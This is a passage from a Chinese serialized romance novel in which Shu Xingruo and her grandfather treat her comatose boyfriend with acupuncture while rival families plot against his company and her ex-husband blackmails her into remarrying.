每取一针,指尖轻捻的同时竟以
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另一手拇指按压邻近穴位,动作如行云流水,仿佛一场精妙的指尖舞。
连舒星若都达不到这种境界。
舒延兆出来之后,众人围了上去,吉广琪迫不及待的问道:“我儿子怎么样了?”
舒延兆说:“血已通,气未行。好比河道淤泥已清,活水还未流通。不急,慢慢能治好的。”
李乐和忍不住讥讽道:“慢慢是多久?一周、一个月还是一年?”
舒延兆一个眼神扫过去,冷声说道:“你不是患者家属,我无需跟你交代。”
见舒延兆这么说,其他三人都看见了希望。尤其是舒星若,她知道外公不会骗她。
她的脸色也逐渐转好,苏容泽有机会醒了。
只有他活着,她才不会愧疚至死。她的生活才会有新的篇章。
李乐和还想开口,被杨思淼瞪了回去。
他缩了缩脖子,怕杨少爷当场削他,毕竟这可是海市出了名的纨绔。
经常因为**而上热搜,杨家财大气粗,加上吉家做后盾,他打完人只用赔钱了事。
舒延兆对吉广琪说道:“今天先这样,明天巳时我再过来。在阳气最盛时施治,事半功倍。”巳时也就是上午9点到11点。
他拉过舒星若,“若若,你不能再熬了。小苏的病有我,你必须给我好好回去休息,明天上午我们一起过来给他治。”
舒星若乖巧的走过来,准备跟着舒延兆回去。
临走时,舒延兆意味深长的对吉广琪说:“麻烦你送送我们。”
吉广琪此时哪有心思,一脸不耐烦的说:“我儿子都这样了,你们自己不会走吗?有什么好送的?”
舒延兆却不由分说的拉走吉广琪,任由她挣扎也不放手,到了电梯口才放开她。
吉广琪一脸不悦,“干什么在医院里拉拉扯扯的?”
要不是看舒延兆刚才救治苏容泽的份上,她得给他一巴掌了。
舒延兆低声叮嘱道:“派人守好你儿子的病床,那个主治医生可能心术不正。”
第176章 季宴礼要留下来过夜
吉广琪大惊失色,脑子里嗡的一声,只觉得一阵天旋地转。
她这才明白过来,舒延兆为什么非要把她从病房门口拉到这僻静的楼梯间。
李乐和的人品她不了解,但舒家的家风她一清二楚。
舒延兆行医一生,救人无数,德高望重,断然不会信口开河,拿这种事开玩笑。
“这个天杀的!”吉广琪气得浑身发抖,眼中迸射出骇人的寒光,平日里雍容华贵的仪态荡然无存,此刻她只是一个保护幼崽的母亲,“我这就让思淼把他轰出去!不,我要让他滚出海市,这辈子都别想再拿起手术刀!”
她说着就拿出手机,手指因为愤怒而有些颤抖。
“等等!”舒延兆却抬手按住了她的手机,神情严肃地制止了她,“现在还不是时候。”
吉广琪猛地抬头,眼中的怒火几乎要喷出来:“我儿子都快被他害了,还等什么时候?”
“正因为容泽现在情况危急,我们才更不能轻举妄动。”舒延兆的声音沉稳如山,“他是主刀医生,整个医院里,没人比他更了解容泽的伤情。万一,我是说万一,容泽的情况出现反复,还需要紧急手术,只有他能最快做出反应。把他逼急了,狗急跳墙,或者我们临时找不到人,耽误的都是容泽的命。你叫人守好病房就成。”
吉广琪胸口剧烈起伏,死死咬着牙,将那口恶气硬生生咽了回去。
理智告诉她,舒延兆说得对。
她深吸一口气,眼神重新变得狠厉果决:“行!我暂时不动他,我马上调人过来,二十四小时轮班,一只苍蝇都别想飞进去!”
“嗯,”舒延兆赞许地点点头,又补充道,“不仅要守着,只要那个李乐和进病房,你们必须派一个信得过的人,寸步不离地跟着,眼睛一秒钟都不能离开他的手。小心他在输液或者用药上做什么手脚。”
刚才李乐和看到自己时,眼中那一闪而过的惊慌和嫉恨,舒延兆看得分明。
虽然只是猜测,但他从不拿病人的性命去赌一个人的人性。
防人之心不可无,尤其是在苏容泽这种经不起任何风浪的关头。
“好!”吉广琪用力点头,心中的感激与后怕交织在一起,声音都有些哽咽,“舒老,今天真是真是太谢谢您了,专程赶来救我儿子。”
舒延兆摆了摆手,目光温和了些:“容泽是若若的男朋友,我救他,义不容辞。”
他对苏容泽为了救舒星若母子豁出性命,只字不提。
这事要是让吉广琪知道了,那便是在这位母亲心上剜了一刀,日后必成一道无法愈合的裂痕。
天底下没有哪个母亲,能坦然接受儿子为了别的女人连命都不要。
回到车上,舒延兆看着满脸憔悴、神情呆滞的舒星若,心里叹了口气。
他发动车子,缓缓驶出医院,嘱咐道:“若若,容泽救你们母子的事,烂在肚子里,打死也不能对第二个人说,尤其是他妈妈。”
“你和容泽将来若是要结婚,这件事就是扎在她心里的一根刺,一辈子都过不去这个坎。她会觉得,是你害了她儿子。”
舒星若点头道:“嗯,外公,我知道。”人性是最经不住考验的东西,舒延兆和舒星若都无比清楚。
两天一夜没合眼,神经一直紧绷着,此刻一放松下来,无边的倦意如同潮水般将她淹没。
车窗外的霓虹光怪陆离,在她眼前拉成一道道模糊的光线,她靠在车窗上,沉沉地睡了过去。
车子平稳地开到家门口,季宴礼已经等在外面了。
他像一尊望妻石,孤零零地站在冷风里,看到车灯照过来,立刻快步迎了上来。
舒延兆熄了火,拉开车门。
季宴礼探头一看,见到在副驾沉睡的舒星若,呼吸都放轻了,那颗高悬着的心总算落回了原处。
他下意识地伸手,想将她从车里抱出来。
“啪!”
一只苍老但有力的手,抢先一步拍在了车门上,挡住了他的动作。
舒延兆甚至没看他,只是俯身,轻轻的推醒舒星若:“若若,到家了,醒醒。”
对于舒延兆这毫不掩饰的防备,季宴礼的心像是被针扎了一下,又酸又塞。
看来无论自己做什么,都无法打动外公了。
舒星若被唤醒,迷迷糊糊地睁开眼,一时有些懵圈,不知身在何处。
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她动了动,只觉得头重脚轻,天旋地转,推开车门下车时,脚下一软,步履都有些踉跄。
季宴礼眼疾手快地扶住她,“你都站不稳了,我抱你回去。”
温热的触感让舒星若一个激灵,瞬间清醒了大半。
她立刻挣开他的手,往后退了一步,拉开距离,语气疏离而坚决:“不用了,我自己能走。许许呢?”
“他已经在自己房间睡了。”季宴礼的声音有些失落。
他帮着照看季知许,哄他睡下后,鬼使神差地推开了主卧的门,当他看到舒星若的衣帽间里,有一半整整齐齐地挂着苏容泽的衣物时,心当场就碎了一地。
他们果然已经同居了。
这个认知让他嫉妒得发狂,他今晚必须找个借口留下。
“星若,你这个样子我不放心,今晚我在这边守着你们。”他放软了姿态,语气里带着恳求。
舒星若一眼就看穿了他的小把戏,疲惫让她连周旋的力气都没有,只觉得无比厌烦。
她直截了当地说:“不行。你留下过夜,万一被人拍到,你让苏容泽的脸往哪儿放?他为了救我连命都不要,我不能在这种时候做对不起他的事。”
季宴礼心里堵得像塞了一团湿棉花,又涨又闷:“我睡客房,又不会对你做什么,你为什么要在意这些?”
“我在意!”舒星若的声音不大,却字字清晰,掷地有声,“季宴礼,今天谢谢你帮我把外公叫来。但是,我现在不是单身,你不能在我家过夜。算我求你了,走吧。”
她真的太累了,无意再与他争吵。
舒延兆也适时开口,语气平淡却带着威严:“宴礼,星若说得对,你就理解一下她吧。”
理解她,那谁来理解自己的思念和悔恨?季宴礼在心里苦涩地想。
但他看着舒星若决绝的眼神和舒延兆护犊子的姿态,知道再纠缠下去只会让她更厌恶自己。
他最终还是点了点头,转身落寞地走了。
哈市这边,医院的VIP病房里,经过医生团队不眠不休的全力抢救。
高山远眼皮颤动了几下,终于缓缓睁开了眼睛,意识清醒了。
第177章 疯批苏醒
高山远睁开眼,浑身的骨头像被拆了重组一样,稍微一动就疼得他倒吸一口凉气。
他目露凶光,声音沙哑得如同破锣:“季宴礼那个混蛋呢?”
季宴礼下手是真狠,专挑看不见的地方下死手,他现在五脏六腑都还翻江倒海地疼。
还有舒星若那个**,要不是她出其不意地先卸了自己的胳膊,自己怎么可能被季宴礼那个小白脸打得这么惨?
谭蔚然站在床边,脸色比高山远好不到哪儿去,低声汇报:“已经被警方放了。高总,他是有备而来的,手里攥着我们不少把柄,威胁说不私了就把东西全捅出去。而且病房外的监控没了,季宴礼一口咬定他是自卫,明律没办法,只能签字放行。”
“畜生!”高山远恨得咬牙切齿,牙根都快咬碎了,“自从我回了京市谁不对我点头哈腰的,我还没吃过这种亏,我一定不会放过他!”
谭蔚然的脸色更沉了:“高总,您这次动了苏容泽,他背后还有海市的吉家和杨家。我刚得到消息,苏容泽伤得很重,到现在还没醒,他们两家已经在暗中调动资源,恐怕要对我们动手了。”
“呵,”高山远不以为然地冷笑一声,“天高皇帝远,他们再有能耐也是在海市。强龙不压地头蛇,到了京市地界,是龙他也得给我盘着!”
他脑子不蠢,即使要对付他们,他也从不去海市,怕到了他们的地盘,自己脱不了身。
他眼珠一转,阴狠的计谋浮上心头:“有办法拍到苏容泽住院的照片吗?”
谭蔚然摇头,“舒星若太精明了,她包机回的海市,行程一路保密。医院也是海市安保最顶级的私立医院,苏容泽住的VIP楼层,外面跟铁桶似的围了一堆人。别说拍照了,连只蚊子都飞不进去。”
“这个世界上就没有钱砸不开的铁板。”高山远扯了扯嘴角,牵动了脸上的伤,疼得他龇牙咧嘴,“去,拿钱去砸!苏容泽身边的医生、护士,甚至是清洁工,总有见钱眼开的。让他们偷拍一张苏容泽躺在病床上的照片。”
他顿了顿,补充道:“还有,派人二十四小时蹲在医院门外,拍不到苏容泽,拍舒星若和他那个国手外公也行。”
他太了解舒延兆的医术了,只要拍到他们愁容满面地进出医院。
剩下的就简单了,找几个笔杆子看图说话,想编什么就是什么。
高山远胸有成竹,眼中闪烁着疯狂的光芒:“苏容泽,你不是想联合季宴礼做空我的股价吗?我倒要看看,你一个躺在床上半死不活的废人,拿什么来掩盖你病危的消息!我要让所有股民都看看,他们信赖的苏总,现在是个什么德行!”
“是,高总。”谭蔚然领了命令,悄无声息地退了出去。
……
海市,晨光熹微。
舒星若一觉睡到早上七点,与其说是睡,不如说是昏迷。
醒来时,头重脚轻,整个世界都在旋转。
她撑着身体下楼,先去看了唐梵。
经过舒延兆的治疗,唐梵恢复得很好,前天已经可以坐到轮椅上活动了。
见到舒星若,唐梵吓了一跳,心疼地拉住她的手:“若若,你这是怎么了,才几天不见,怎么瘦成这样了?是不是你家苏容泽出事了?”
舒星若的脸小了一圈,下巴尖得吓人,眼下的乌青浓得像墨。
柯兴昌也在,他还没回深市。
舒星若下意识地防备着他,勉强挤出一个笑,摇摇头:“没事,就是前阵子在北方水土不服,病了一场。容泽他出差了。”
柯兴昌看着眼前的女孩,眼神复杂。
他来了之后,听妻子和女儿柯依晴说起舒星若这段时间的尽心照顾,尤其是元旦假期,还请来了医术更加卓越的舒延兆为唐梵
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诊治。
他心里对舒星若和苏容泽的怨恨,不知不觉就消散了大半。
他一个纵横商场的大男人,此刻竟有些局促:“舒总,真是辛苦你了。我太太的病,多亏了你和舒老先生,之前的事,是我柯某人有眼不识泰山了。”
“柯总客气了,我是医生,照顾病人是分内事。”舒星若淡淡地应了一句。
早餐桌上的气氛十分诡异。
柯兴昌夫妇想关心她,却又不知从何说起。
舒星若心情沉重如铅,味同嚼蜡。
她必须在所有人面前表现得若无其事,这种伪装几乎耗尽了她所有的力气。
舒延兆看出了外孙女的煎熬,放下筷子,故意说道:“星若,吃完了吗?送我去行止堂。”
“好!”舒星若如蒙大赦,立刻放下手中的食物,几乎逃也似的上了车。
舒延兆紧随其后,将一只还温热的牛角包和一瓶牛奶塞到她手里,语气坚定:“把早餐吃了,否则今天哪儿也别想去。”
在密闭的车厢里,舒星若紧绷的神经终于有了一丝松懈。
一想起苏容泽还躺在ICU里没有苏醒,她的眼眶瞬间就红了,心如刀绞:“外公,我吃不下。”
“吃不下也得吃!”舒延兆的声音严厉起来,“容泽那小子福大命大,肯定能挺过来。但他要是醒了,看见你这副人不像人鬼不像鬼的样子,没准儿一着急,又得躺回去了。你想让他为你操心吗?”
舒星若的眼泪掉了下来,她拿起面包,就着眼泪大口大口地往嘴里塞,喝完牛奶,舒延兆才发动了车子。
元旦假期已经结束,舒星若让司机送孩子们去幼儿园。
到了幼儿园门口,刚下车,就碰到了南真仪。
她似乎听到了什么风声,笑眯眯地凑过来,拉着季知许的手问道:“许许,你的苏叔叔怎么没来送你上学啊?”
第178章 对小孩下手
季知许冲着南真仪露出一个熟练的假笑,嘴角上扬的弧度标准得像是用尺子量过,“苏叔叔出差了,他没空哦!”
早上在家,他目睹了妈妈对那个柯兴昌的隐瞒。
虽然他不太明白其中复杂的缘由,但他知道,妈妈这样做,一定有她的道理。
作为家里现在唯一的男子汉,他要保守好这个秘密。
南真仪显然不死心,一个乳臭未干的小屁孩,她还能套不出话来?
她蹲下身,尽量让自己的声音听起来像故事书里的兔子姐姐一样甜美:“是吗?那你苏叔叔去哪里出差了呀?恬恬昨晚给他打视频电话,他都没有接,恬恬可想他了。”
昨晚,她老公从一个酒局上听到了点风声,说高山远在哈市动了苏容泽。
她立刻让女儿苏恬打视频过去试探,结果电话那头始终是无人接听。
在以往是绝不可能发生的事。
苏容泽再忙,对苏恬这个侄女向来有求必应。
南真仪心中疑窦丛生,如果传闻是真的,那苏容泽肯定出大事了。
这可是千载难逢的好机会。
季知许心里的小雷达嗡嗡作响。
这个阿姨笑得好假,比幼儿园戏剧社表演大灰狼的同学还要假。
他歪了歪头,一脸天真:“苏叔叔可能在开很重要的会,没有空吧。阿姨,你问我我也不知道呀,我又不是他的秘书。”
南真仪脸上的笑容僵了一下。
这孩子,嘴还真严实。
她不甘心,伸手想拉住季知许的书包带子,被他灵巧地躲开了。
“那你妈妈呢,你妈妈能联系到你苏叔叔吗?”她追问道,语气里带上了急切。
季知许眨了眨那双酷似舒星若的漂亮眼睛,小大人似的叹了口气:“大人的事,他们又不会跟我一个小孩子讲。南阿姨,您要是真有急事,可以直接打电话问我妈妈呀。”
他看了一眼幼儿园的大门,心想,她再BB下去,他就去找保安,说这里有个奇怪的人在骚扰他。
“我要迟到了,老师会批评的,南阿姨再见。”季知许说完,背着小书包,一溜烟地跑进了幼儿园。
南真仪看着他小小的背影,气得暗自咬牙,却又不好在幼儿园门口发作,只能悻悻地转身离开。
季知许确认甩掉了南真仪之后,跑到教学楼后面的无人角落,拿起电话手表,拨通了舒星若的电话。
“妈妈,刚刚恬恬的妈妈在门口拦着我,一直问苏叔叔的情况。”他条理清晰地复述了一遍,“我就说苏叔叔出差了,我什么都不知道。但她还追着我问个不停。”
电话那头的舒星若心头一沉,像被人浇了一盆冰水。
南真仪这么快就收到了风声,这绝不是巧合。
一定是有人想趁苏容泽病重,对东盛集团下手。
一股无名火和巨大的酸楚涌上心头。
过去,无论遇到什么风雨,都是那个男人挡在自己身前,为她撑起一片天。现在,他躺在那里,无知无觉,换她来守护他了。
还好,她的儿子这么机灵。
“乖许许,你做得非常对。”舒星若的声音里带着自己都没察觉到的颤抖,“记住,从现在开始,无论是谁问你,哪怕是老师,你都说不知道。就说苏叔叔在国外出差,有时差,联系不上。明白吗?”
“嗯!我什么都不说,我嘴巴拉上拉链了!”季知许在电话那头用力点头。
挂了电话,舒星若却怎么也无法安心。
连孩子都成了他们试探的工具,这帮人的手段只会越来越脏。
她立刻拨通了宗司辰的电话:“宗助,马上安排几个最专业的保镖,便衣守着许许,二十四小时轮班。我怕有人会利用他做文章。”
“好的,舒总。”
这个电话也提醒了舒星若自己。
她和外公每天进出医院,目标太大了。
她看向身旁正在开车的舒延兆,轻声说:“外公,我们被盯上了。刚刚南真仪,也就是容泽的嫂子,去幼儿园套许许的话,想打探容泽的消息。”
舒延兆的眼中闪过一丝凌厉,“他们竟然连小孩子都不放过。”
舒星若叹了口气:“这些人为了利益无所不用其极。”
舒星若继续说道:“现在医院外面,肯定有人在蹲守。我们不能再坐您的车去医院了,等下进去的时候,也要想个办法。”
舒延兆心细如发,顷刻间便明白了外孙女的用意,赞许地点点头:“好,都听你的安排。”
舒星若又打给黄丽歌:“丽歌,江湖救急。帮我弄一辆不起
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眼的车过来,要快,车主要跟你我都没关系。我把定位发给你。”
不到一小时,黄丽歌开着一辆灰扑扑的廉价车出现在了他们约定的地点。
“这车是我找一个开租车公司的朋友借的,车管所系统里查都费劲,绝对跟你扯不上关系。”黄丽歌办事向来利落。
舒星若将外公的车钥匙抛给她:“你先开走,帮我找个安全的地方停着。”
“放心吧。”黄丽歌比了个“OK”的手势,迅速开着舒延兆的车消失在车流中。
舒星若和舒延兆换上新车,她从随身的包里拿出两件白大褂,两顶帽子和全新的口罩递给外公。
“外公,我们套上。”
舒延兆,麻利地穿上,“我得尽快治好容泽,他多躺一天医院多一分危险。”
“嗯!”
果然如舒星若所料,他们开着这辆毫不起眼的车驶进医院时。
远远就看到几个形迹可疑的男人在停车场入口附近徘徊,眼睛紧紧盯着每一辆驶入的豪车。
舒星若的车就这么在他们眼皮子底下滑了进去,没有引起任何注意。
两人穿上白大褂,戴好帽子口罩,低着头混在进出的医护人员中,顺利进入了VIP病房区。
吉广琪早已等在病房外,见到两人,焦急地迎了上来,语气里带着压抑不住的火气:“怎么才来,我这心都快煎成渣了。”
舒星若没急着进去,而是将她拉到一旁,把刚刚在幼儿园门口发生的事低声说了一遍。
话音刚落,吉广琪像是被点燃的炮仗,瞬间从座位上弹了起来,保养得宜的脸上满是怒火:“不要脸的**,我儿子还躺在里面,她就惦记上东盛了?南家这帮专会钻营的墙头草,我饶不了他们!”
她气得在原地踱步,恨不得现在就冲到苏家去撕了南真仪的嘴。
吉广琪原本是个非常冷静的人,但涉及苏容泽的事,她就容易着急上火。
相比于她的激动,舒星若却异常冷静。
她的目光穿过走廊,仿佛已经看到了波诡云谲的商战硝烟。
“阿姨,您不要这么激动。”她拉住吉广琪的胳膊,一字一句地说道,“这只是一个开始。一定有人想趁容泽生病,打东盛的主意。我们接下来,该怎么办?”
第179章 不复婚,我就把事情闹大
吉广琪的脸色冷了下来,这个时候她必须保持理智,替儿子守好得来不易的东盛。
她迅速冷静下来,现在她是东盛的主心骨,决不能让东盛易主。
沉思片刻,她那双漂亮眼睛里闪过狠厉和决绝,这个眼神让舒星若看着有些害怕。
吉广琪顷刻间脑海中已经有了主意。
她拿起电话,拨出一个号码,声音冷静且沉着:“听着,三件事。”
电话那头的人毕恭毕敬,“吉总,请讲!”
“第一,安排几个‘干净’的女人在苏容添的身边,全部按他的喜好来,给他来个仙人跳。记住,要专业的,务必把事情闹大,越大越好,直接送到热搜上,成为他这辈子的污点。”
“第二,找一家信得过的海外空壳公司,往苏容添的私人账户上打一笔‘投资款’,栽赃他**。证据链给我做实了,我要让他百口莫辩。”
“第三,那个南真仪,不是自诩上流名媛吗?找几个包装完美的‘钻石王老五’去接近她,不用真做什么,拍点暧昧照片,制造点绯闻就行。既要让她落个水性杨花、道德败坏的名声,也要让苏容添那个蠢货疑神疑鬼,后院起火。离间他们夫妻。”
吉广琪顿了顿,补充道:“这三件事同时进行,越快越好!”
“好的,吉总。”对方当即应下,虽然这三件事难度不小,但是老板的命令他不敢不执行。
舒星若在一旁听得心惊肉跳,只觉得后背都有些发凉。
姜还是老的辣,吉广琪这三招,招招都往他们大动脉上扎,又狠又毒,简直不给他们留半点活路。
挂了电话,吉广琪脸上的寒霜依旧未散。
以前她不对付那对上不得台面的夫妻,是看在苏容泽大权在握,不想因为这些腌臜手段给人落下口实和把柄。
现在,他们竟敢肖想不属于自己的东盛集团,那就别怪她心狠手辣,用这些污遭邋遢的手段把他们打回原形。
“阿姨,”舒星若接着提醒道,“我们刚进来时,医院门口蹲了很多人。我猜是高山远的人,他可能想拍到我和外公进出医院的照片,以此来坐实容泽身体出了问题的传闻。”
提到高山远,吉广琪的眉头皱得更深了:“那个混蛋,昨晚我就让人去查他了。但他和苏容添那种草包不一样,不好对付。高家在京市势力盘根错节,他虽然刚接受,根基不稳,但一损俱损,高家不会眼睁睁看着他倒台,一定会保他。”
“那我们就守好容泽的身边,千万不能让人有机可乘。”舒星若语气坚定。
吉广琪点点头,眼中闪过些许赞许,“放心,有我在,谁也别想动我儿子。”
舒星若果然是真心爱她儿子的。
两人正说着,舒星若的脑海里突然闪过一个人的身影。
季宴礼。
她的心猛地一沉,不安的情绪涌上心头。
她拿出手机,按下了拨通键,电话接通,舒星若深吸一口气,让自己听起来比较亲切:“宴……宴礼。”
吉广琪在一旁看得分明,眉头不自觉地蹙了起来。
她儿子还躺在床上生死未卜,这女人就这么急切地联系前夫了?不,理智告诉她,舒星若不是这样的人。她按捺住心头的不悦,决定先听听她要讲什么。
这还是离婚后她第一次这么亲昵地叫他。
电话那头,季宴礼正坐在宽大的老板椅上,指间把玩着一支昂贵的签字笔。
听到这个称呼,他深邃的眼眸里闪过激动,连带着眉心挑了起来。
“我知道你跟容泽一向不对付,”舒星若的声音带着颤抖,却异常诚恳,“但请你看在以往的情分上,高抬贵手。这个时候,不要落井下石,透露一点他的病情。”
吉广琪听到这话,紧锁的眉头才稍稍松开,看向舒星若的眼神也柔和了几分。
不落井下石不是他季宴礼的风格。昨晚苏容添能收到风
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声,正是他不动声色放出去的,目的就是逼着舒星若主动来找他。
季宴礼慵懒地向后靠在椅背上,发出一声轻笑,那笑声通过听筒传来,带着凉薄和戏谑:“要我不透露可以,你马上跟我复婚。”
苏容泽,别怪我乘虚而入,是你当初先在她的离婚申请上动了手脚。季宴礼的眼神骤然变得幽深。
“复婚?”舒星若的声音因为震惊都变了调,她想不到这货竟然趁火**。
苏容泽为了救她连命都不要了,她怎么可能在这个时候背弃他,去和季宴礼复婚?
“你不同意?”季宴礼的语气瞬间冷了下来,像淬了冰,“你要是不同意,我现在就所有人都知道,东盛集团的苏总病危住院了。你说,东盛的股价会跌多少?那些虎视眈眈的股东又会做些什么?”
“你无耻!”舒星若死死地捏紧手机,她的脑子在高速运转,忽然想到了季宴礼当初跟何欣的那些破事,幸好林安禾手上有不少照片。
她的眼神瞬间转冷,声音也带上了宁死不屈的决绝:“季宴礼,你**那条心,我绝不跟你复婚!你要是敢透露容泽的病情,大不了我们就鱼死网破!我这个季氏总裁的前妻,马上就开个新闻发布会,好好跟大家聊聊,你当初是怎么婚内出轨,怎么跟何欣小姐招摇过市的。我手上有你们亲密同行的照片,看图说话我还是会的!”
她说着,便飞快地从相册里挑了几张最扎眼的照片,直接发到了季宴礼的微信上。
然而,季宴礼只是扫了一眼屏幕上弹出的照片,嘴角勾起一抹嘲讽。
他压根就不在乎:“你公开我和何欣的旧事,大不了季氏的股价跌一段时间,伤不了我的根本。我不在乎。”
他顿了顿,声音里带着上位者的强势和报复的快意。
“我给你一天的时间考虑。明天这个时候,要么民政局见,要么就等着给苏容泽的东盛集团收尸。”
第180章 床前表白
舒星若的喉咙像是被一块烧红的烙铁硬生生塞了进去,干得生疼。
她现在就是季宴礼的掌中之物,一面是刀山,另一面是火海,进退两难。
电话那头,季宴礼无赖的声音还在继续,“星若,他苏容泽都舍命救你了,你总不能眼睁睁看着他的心血毁于一旦吧。”
“男人失去事业那比什么都惨。”
这狗男人是懂怎么刺激舒星若的,每句话都像钢刀一样,精准地扎在舒星若的心脏上。
她的血液都像是被冰封了,四肢百骸一片僵冷。
她后槽牙都快咬碎了,从齿缝里挤出声音:“季宴礼,你怎么可以这么卑鄙?”
“卑鄙?”季宴礼轻笑一声,“我只是想让我太太回家而已。星若,当初苏容泽也是用卑鄙手段让你提前一年多离婚的。我不过是以牙还牙。”
舒星若耐着性子劝道:“你怎么可以这样,即使我跟你复婚我也不会给你好脸子。”
季宴礼才不管那么多,只要让她先回到自己的身边,以后的事以后再说。
“星若,你先做回季太太再说。”
舒星若被他气得无话可说,只觉得心口疼。
一边是苏容泽兢兢业业的事业,另一边是她对苏容泽的承诺与爱情。
她要怎么选,才不算辜负那个躺在病床上,为她挡下一切的男人?
一旁的舒延兆看着外孙女瞬间煞白的脸,和那双盛满了痛苦与挣扎的眼睛。
昨天对季宴礼升起的那点“浪子回头”的印象,顷刻间荡然无存,只剩下厌恶。
竟然在这个关键时刻来逼迫若若,太不要脸了。
眼看快到九点了,他再也听不下去,一把夺过舒星若的手机,直接把电话给摁了。
“若若,天塌下来有外公顶着,咱们先进去给容泽看病。”舒延兆将手机塞回她冰冷的手里,眼神锐利如鹰,“季家那臭小子,你暂时不用搭理他。现在没什么比容泽的命更重要。”
外公沉稳而充满力量的话,像一剂强心针,瞬间注入舒星若混乱如麻的心神。
她重重地点点头,“好的,外公!”
是的,先救苏容泽。他还在等她,她不能丢下他孤零零的一个人。
其他的,等一下再想办法。
跟着舒延兆进去换防护服,浓重的消毒水味反而让舒星若高度紧张的神经稍稍平复。
隔着口罩,她深吸一口气,将所有纷乱的情绪都压在心底。
推开ICU的门,舒星若的目光第一时间就锁定了病床上的身影。
苏容泽双眼紧闭,俊朗的脸上毫无血色,身上插着各种管子,连接着旁边一堆闪着冷光的仪器。
那个总是笑着对她说“别怕,有我呢”的男人,此刻安静得像一尊没有生命的雕塑。
舒星若的心,在那一瞬间被狠狠地揪住,密密麻麻的刺痛感铺天盖地的袭来。
她又回忆起出事那天,他义无反顾扑向自己的身影。
“现在不是伤心的时候,”舒延兆的声音在她耳边响起,“集中精力,我们是来救他的,不是来哭他的。”
舒星若猛地一颤,迅速收敛心神。
她攥了攥拳,指甲掐进掌心,用疼痛逼迫自己冷静。
她上前,为苏容泽号脉。
指尖触碰到他手腕的皮肤,脉象上来看,血滞的情况依旧严重,如同冰封的江河,死气沉沉。
舒星若今天的取穴与舒延兆昨天略有不同。
她沉吟片刻,对舒延兆说:“外公,昨日您主攻活血化瘀,今日脉象虽沉,但郁结之气稍散,我想引气下行,先固本培元,再图疏通。”
舒延兆赞许地点点头。
舒星若取出一排银针,刚才还因愤怒和悲伤而微微颤抖的手,此刻稳如磐石。
她捻起一根,手法精准地刺入穴位,重点在四肢,最后才轻刺头部诸穴。
随后,她又在每根针尾加上一小段无烟艾绒,温和的药草香气,在冰冷的病房里弥漫开来。
留针期间,舒延兆拍了拍她的肩膀:“若若,你陪小苏说会话。说不准他能听见。”
他特意带舒星若进来,就是想用她来多刺激苏容泽的脑神经元,看能不能唤醒他的求生意志。
为了避免外孙女尴尬,舒
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延兆背着手,溜溜达达地躲进了隔壁的观察室。
舒星若拉过一旁的椅子坐下,深情地望着苏容泽。
她伸出手,指尖轻轻抚摸他轮廓分明的脸,最后在他高挺的鼻梁上停下,那触感依旧熟悉,但是没了他的笑容。
“容泽,你听得见吗?季宴礼那个混蛋又来烦我了。”她的声音很轻,带着她自己都没察觉的委屈和撒娇,“你再不醒,你老婆可就要被抢走了,不对,我还没答应嫁给你呢,你可不能就这么赖账睡过去。你睡了我,不能不负责。”
“你什么时候醒呢?等你醒了,我们就去领证好不好?”
“结了婚,我们生个女儿吧?都说女儿像爸爸,她要是遗传了你这双桃花眼,从小肯定是个万人迷。到时候我们一家四口就在一起,你忙完了就回来陪我们。”
她絮絮叨叨地描绘着未来,说着说着,眼眶就热了,泪水在里面疯狂打转。
但她记得,这里是ICU,任何细菌都可能致命。
她猛地仰起头,硬生生将胸口的酸涩逼了回去,喉咙里发出一声极轻的哽咽,喃喃自语道:“舒星若,不许哭。”
“容泽,你快点醒过来吧。家里好冷清,没有你抱着我,我睡觉都不香了。”
舒星若就这么说到了留针时间结束,可床上的男人依旧毫无反应。
舒延兆走进来,见她一脸茫然失落,安慰道:“不急,容泽这病得徐徐图之。快把针取下来。”
取完针,舒延兆再次伸手给苏容泽号脉,片刻后,他眉头一挑,眼中闪过诧异。
“若若,你来摸摸容泽的脉。”
舒星若依言将手指搭上苏容泽的手腕,下一刻,她脸上的颓丧之气一扫而空。
苏容泽的脉象,虽依旧沉细,却不再是刚刚那般死气沉沉,冰封的河面下,终于有了一丝微弱的活水在缓缓涌动!
她喜上眉梢,激动地抬头看向外公:“外公,容泽还有希望!”
舒延兆欣慰地点点头,脸上露出久违的笑容:“我就说,你来,事半功倍。”
舒星若的眼中重新燃起了光。
第181章 阻止季宴礼发神经
才一走出ICU的门,周遭嘈杂的空气便重新涌了回来。
吉广琪几立刻就迎了上来,她那双保养得宜的眼睛里此时布满了红血丝。
她紧紧盯着舒星若的脸,一个字都不敢先问,生怕听到最坏的消息。
她见舒星若那双漂亮的杏眼里褪去了方才进去时的死寂,重新燃起了光亮,心不由得提了起来,声音都有些发颤:“我儿子他怎么样了?”
舒星若深吸一口气,她的心境与进去前却已截然不同。
她用力地点了点头,“阿姨,容泽在好转,他的脉象比昨天有力了。”
“真的?”吉广琪的眼泪差点当场掉下来。
一旁的舒延兆沉稳地补充道:“若若进去,不单单是行针。小苏对若若的感情很深,她的声音、她的存在,本身就是一剂猛药,能最大程度地刺激他的脑神经元。这比我这个老头子进去扎十次针都管用,进展快了很多。”
吉广琪心头巨震,像是被什么东西狠狠砸了一下。
刚才隔着探视窗,她看得分明,舒星若的行针手法虽稳,但比起舒延兆那份炉火纯青的宗师气度,明显还稚嫩一些。
她心里不是没有嘀咕过,为什么不让舒老亲自操刀。
原来症结在此。
即便是在无意识的深渊里,她儿子的整个世界,依然只围绕着这个叫舒星若的女孩旋转。
这个认知让吉广琪感到一阵心酸,随即,一个被她强压下去的怀疑再次疯狂地冒出头来。
缆车坠落,同在一车,为什么舒星若季知许只是擦伤,偏偏她儿子却躺在ICU里生死未卜?
除非在那千钧一发的时刻,他用自己的身体,为她们母子俩筑起了一道血肉之墙。
这个念头像藤蔓一样缠住了吉广琪的心脏,越收越紧,让她几乎喘不过气。
但现场没有第四个人,舒星若会承认吗?她现在是容泽唯一的希望,自己不能逼她。
吉广琪强行将翻涌的情绪压下,暂时按兵不动,换了个话题,眼神也变得锐利起来:“星若,既然你来对容泽有天大的好处,那后面他的治疗,就全拜托你了。不过,刚才你那个前夫在电话里,说什么复婚?这是怎么回事?”
这个节骨眼上提复婚,是怕他儿子醒过来吗?
“复婚”两个字像一道惊雷,瞬间劈散了舒星若脸上刚刚**起来的喜悦。
她脸色煞白,猛地想起了刚才的电话。
“季宴礼那个疯子他逼我,”舒星若的声音都在发抖,愁云惨雾重新笼罩了她,“他威胁我,如果我明天不去民政局跟他复婚,他就把容泽重病的消息捅给媒体,让东盛集团股价暴跌。”
“混账东西!”舒延兆气得一声怒骂脱口而出,“趁人之危,落井下石,简直不是人干的事!”
吉广琪也气得浑身发抖,但她比谁都冷静。
